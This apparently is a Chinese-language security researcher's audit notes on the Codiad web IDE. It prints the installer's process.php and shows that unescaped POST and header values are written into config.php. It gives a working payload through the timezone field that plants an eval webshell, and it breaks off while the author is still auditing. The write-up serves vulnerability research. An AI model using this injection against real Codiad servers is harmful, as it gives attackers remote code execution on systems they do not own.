I wanna CVE...T_T
記得昨天晚上在搭建環(huán)境的時(shí)候注意到 config.php 這個(gè)文件
<?php
/*
* Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
* as-is and without warranty under the MIT License. See
* [root]/license.txt for more. This information must remain intact.
*/
//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////
// PATH TO CODIAD
define("BASE_PATH", "/var/www/html/");
// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "localhost/");
// THEME : default, modern or clear (look at /themes)
define("THEME", "default");
// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");
// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";
// TIMEZONE
date_default_timezone_set("Australia/Perth");
...
鍵和值都是用雙引號(hào)包裹起來(lái)的
隱隱感覺(jué)可能會(huì)存在問(wèn)題
然后找一下用于執(zhí)行安裝功能的 php 文件
找到了 : ./components/install/process.php
<?php
/*
* Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
* as-is and without warranty under the MIT License. See
* [root]/license.txt for more. This information must remain intact.
*/
//////////////////////////////////////////////////////////////////////
// Paths
//////////////////////////////////////////////////////////////////////
$path = $_POST['path'];
$rel = str_replace('/components/install/process.php', '', $_SERVER['REQUEST_URI']);
$workspace = $path . "/workspace";
$users = $path . "/data/users.php";
$projects = $path . "/data/projects.php";
$active = $path . "/data/active.php";
$config = $path . "/config.php";
//////////////////////////////////////////////////////////////////////
// Functions
//////////////////////////////////////////////////////////////////////
function saveFile($file, $data)
{
$write = fopen($file, 'w') or die("can't open file");
fwrite($write, $data);
fclose($write);
}
function saveJSON($file, $data)
{
$data = "<?php/*|\r\n" . json_encode($data) . "\r\n|*/?>";
saveFile($file, $data);
}
function encryptPassword($p)
{
return sha1(md5($p));
}
function cleanUsername($username)
{
return preg_replace('#[^A-Za-z0-9'.preg_quote('-_@. ').']#', '', $username);
}
function isAbsPath($path)
{
return $path[0] === '/';
}
function cleanPath($path)
{
// prevent Poison Null Byte injections
$path = str_replace(chr(0), '', $path);
// prevent go out of the workspace
while (strpos($path, '../') !== false) {
$path = str_replace('../', '', $path);
}
return $path;
}
//////////////////////////////////////////////////////////////////////
// Verify no overwrites
//////////////////////////////////////////////////////////////////////
if (!file_exists($users) && !file_exists($projects) && !file_exists($active)) {
//////////////////////////////////////////////////////////////////
// Get POST responses
//////////////////////////////////////////////////////////////////
$username = cleanUsername($_POST['username']);
$password = encryptPassword($_POST['password']);
$project_name = $_POST['project_name'];
if (isset($_POST['project_path'])) {
$project_path = $_POST['project_path'];
} else {
$project_path = $project_name;
}
$timezone = $_POST['timezone'];
//////////////////////////////////////////////////////////////////
// Create Projects files
//////////////////////////////////////////////////////////////////
$project_path = cleanPath($project_path);
if (!isAbsPath($project_path)) {
$project_path = str_replace(" ", "_", preg_replace('/[^\w-\.]/', '', $project_path));
mkdir($workspace . "/" . $project_path);
} else {
$project_path = cleanPath($project_path);
if (substr($project_path, -1) == '/') {
$project_path = substr($project_path, 0, strlen($project_path)-1);
}
if (!file_exists($project_path)) {
if (!mkdir($project_path.'/', 0755, true)) {
die("Unable to create Absolute Path");
}
} else {
if (!is_writable($project_path) || !is_readable($project_path)) {
die("No Read/Write Permission");
}
}
}
$project_data = array("name"=>$project_name,"path"=>$project_path);
saveJSON($projects, array($project_data));
//////////////////////////////////////////////////////////////////
// Create Users file
//////////////////////////////////////////////////////////////////
$user_data = array("username"=>$username,"password"=>$password,"project"=>$project_path);
saveJSON($users, array($user_data));
//////////////////////////////////////////////////////////////////
// Create Active file
//////////////////////////////////////////////////////////////////
saveJSON($active, array(''));
//////////////////////////////////////////////////////////////////
// Create Config
//////////////////////////////////////////////////////////////////
// 直接使用字符串拼接的方式寫入配置文件 , 那么只要參數(shù)可控
// 并且我們可以繞過(guò)對(duì)參數(shù)的過(guò)濾 , 就可以直接寫 webshell 了
$config_data = '<?php
/*
* Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
* as-is and without warranty under the MIT License. See
* [root]/license.txt for more. This information must remain intact.
*/
//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////
// PATH TO CODIAD
define("BASE_PATH", "' . $path . '");
// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "' . $_SERVER["HTTP_HOST"] . $rel . '");
// THEME : default, modern or clear (look at /themes)
define("THEME", "default");
// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");
// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";
// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");
// External Authentification
//define("AUTH_PATH", "/path/to/customauth.php");
//////////////////////////////////////////////////////////////////
// ** DO NOT EDIT CONFIG BELOW **
//////////////////////////////////////////////////////////////////
// PATHS
define("COMPONENTS", BASE_PATH . "/components");
define("PLUGINS", BASE_PATH . "/plugins");
define("THEMES", BASE_PATH . "/themes");
define("DATA", BASE_PATH . "/data");
define("WORKSPACE", BASE_PATH . "/workspace");
// URLS
define("WSURL", BASE_URL . "/workspace");
// Marketplace
//define("MARKETURL", "http://market.codiad.com/json");
// Update Check
//define("UPDATEURL", "http://update.codiad.com/?v={VER}&o={OS}&p={PHP}&w={WEB}&a={ACT}");
//define("ARCHIVEURL", "https://github.com/Codiad/Codiad/archive/master.zip");
//define("COMMITURL", "https://api.github.com/repos/Codiad/Codiad/commits");
';
saveFile($config, $config_data);
echo("success");
}
在配置文件的內(nèi)容中 , 可控的參數(shù)有 :
$path
$_SERVER["HTTP_HOST"]
$rel
$_POST['timezone']
這四個(gè)參數(shù)中的任意一個(gè)點(diǎn)只要我們可以任意寫入數(shù)據(jù) , 那么就可以直接寫 webshell
下面來(lái)一個(gè)一個(gè)看看這些參數(shù)
$path
首先獲取參數(shù)
這里有一個(gè)很奇怪的點(diǎn) , 這里接受了 POST 的 path 參數(shù) , 不過(guò)在過(guò)濾的時(shí)候卻只過(guò)濾了 POST 的 project_name , 這個(gè) POST 的 path 似乎唯一用到的地方就是拼接成配置文件 , 然后寫入配置文件
那這里必然是可以 getshell 了
$_SERVER["HTTP_HOST"]
這個(gè)也就不用說(shuō) , 用戶可控 , 而且沒(méi)過(guò)濾 , 又一個(gè) getshell 的點(diǎn)
$rel
只對(duì) GET 的 URL 進(jìn)行了一個(gè)替換 , 我覺(jué)得我們可以直接使用 # 來(lái)作為 URL 中的錨點(diǎn)
然后就可以在錨點(diǎn)之后加入 payload , 然后應(yīng)該也是可以 getshell , 不過(guò)待測(cè)試
$_POST['timezone']
同 $_SERVER["HTTP_HOST"]
漏洞驗(yàn)證 :
這里首先驗(yàn)證最容易控制的參數(shù) , 例如 $_POST['timezone'];
代碼邏輯如下 :
// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");
將其簡(jiǎn)單插入到 date_default_timezone_set 這個(gè)函數(shù)調(diào)用中
那么我們需要構(gòu)造 $_POST['timezone'] 為 :
Asia/Shanghai");eval("$_POST['c']
應(yīng)該就可以寫入一句話木馬了
下面進(jìn)行嘗試 :
然后我們來(lái)查看配置文件是否已經(jīng)被更新
雖然 shell 寫進(jìn)去了 , 但是似乎并不能執(zhí)行 ?
再研究研究
是單引號(hào)的鍋...
所以 payload 應(yīng)該是 :
$_POST['timezone'] 為 :
Asia/Shanghai");eval("$_POST[c]
或者這樣
Asia/Shanghai");@eval($_POST[c]."
這樣的話 , 別的參數(shù)其實(shí)也就不用再試了 , 都是同樣的原理
繼續(xù)深入 :
這里我們只是在安裝的時(shí)候 getshell 了, 那這個(gè)漏洞其實(shí)還是比較雞肋的
因?yàn)槟悴豢赡茉谀繕?biāo)網(wǎng)站正常運(yùn)行的時(shí)候再去把人家的網(wǎng)站重新安裝一遍吧
接下來(lái)看看是否可以通過(guò)更新配置文件來(lái)達(dá)到和剛才相同的效果
接下來(lái)我們?cè)賮?lái)尋找更新配置文件的地方 , 為了快捷起見(jiàn) , 我們直接登錄 , 直接用 BurpSuite 抓更新配置文件的包
然后根據(jù)參數(shù)再來(lái)定位代碼位置
然后再進(jìn)行審計(jì)
審計(jì)中...